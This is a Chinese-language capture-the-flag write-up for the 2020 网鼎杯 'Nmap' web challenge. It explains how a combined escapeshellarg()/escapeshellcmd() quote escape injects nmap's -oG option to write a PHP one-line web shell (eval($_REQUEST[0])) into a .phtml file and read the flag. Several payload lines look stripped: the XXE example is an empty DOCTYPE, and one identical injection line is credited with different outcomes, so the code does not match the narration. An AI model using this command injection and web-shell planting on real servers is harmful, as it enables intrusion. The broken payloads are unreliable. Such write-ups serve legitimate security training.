> 技术文档 > [网鼎杯 2020 朱雀组]Nmap

[网鼎杯 2020 朱雀组]Nmap

试试127.0.0.1,跳转到/result.php?f=e43a7,可以看到有GET传参,尝试访问/result.php?f=index.php,出现回显
Warning: simplexml_load_file(): I/O warning : failed to load external entity \"xml/index.php\" in /var/www/html/result.php on line 23
Wrong file name

simplexml_load_file()用于解析 XML 文件并将其转换为对象(或数组)

会不会存在外部实体注入漏洞

另外还发现list.php文件,其中显示所有scan历史文件。

梳理一下,首先nmap一个IP地址,将结果存为xml文件,通过文件名访问结果。

先尝试一下XXE,通过f利用data协议传一个xml格式数据访问外部实体。

<!DOCTYPE note [
 
  ]>
&admin;123

这是上次一道XXE题目的playload。

回显wrong filename。难道说对filename有检查?看一下答案...考的是命令执行。

我的问题:首先对考点判断失误了,XXE出现的条件一定是请求数据是xml格式的。另外题目首页查看源码还有线索没看到——

题目叫做nmap,并且让我们上传IP地址,那极有可能就是将上传的IP拼接到nmap命令中,应该首先尝试命令执行。

上传127.0.0.1 ; ls,回显

IP: 127.0.0.1

Hostname: 127.0.0.1 \\; ls (user)

Hostname: localhost (PTR)

说明对特殊符号进行了转义

上传127.0.0.1 \' ls,回显

IP: 127.0.0.1

Hostname: 127.0.0.1 \\ (user)

Hostname: localhost (PTR)

引号没了反而多了个反斜杠,说明跟之前一道题[BUUCTF 2018]Online Tool-CSDN博客一样,同时用了两个转义函数。

能利用引号逃逸。另外nmap能进行文件写入。因此可以利用一句话木马。

直接构造playload:

1\' -oG test.php \'

回显Hacker...说明可能有过滤。

可以把特殊符号尝试一遍,发现是<?php被过滤了。那我们可以用

1\' echo123;eval($_REQUEST[0]); -oG test.php \'

还是回显Hacker

再尝试一下发现也被过滤了,这样的话我们只能使用<?=符号了,该符号的作用相当于<?php echo

1\' -oG test.php \'

还是Hacker....,把php也给禁用了,换成phtml试试。

1\' -oG test.phtml \'

 发现根目录下的flag文件,不过好像题目线索已经提示过了

1\' -oG test.phtml \'  得到flag。

再尝试一下植入一句话木马:

1\' -oG test.phtml \'

直接就成功了:

而且还执行了echo 123。原本以为用短标签不可以放其他语句了。

这样的话用短标签和普通标签功能上也没什么差别。 

总结一下:虽然通过报错可以看到使用了读取xml文件的函数,但是这只能说明服务端将扫描结果输出到xml文件,我们并不能控制该xml文件访问外部实体,所以不存在XXE漏洞。这道题的漏洞在于nmap命令的可控参数虽然进行了转义但是同时使用escapeshellarg()和escapeshellcmd(),能利用单引号造成逃逸,从而随意构造nmap命令的参数。又由于nmap命令能进行读写文件,因此可以植入一句话木马。所以说这个漏洞的条件还是比较多的。可考的点有两个,第一是两个转移函数组合,第二是nmap命令读写文件。

在线文档编辑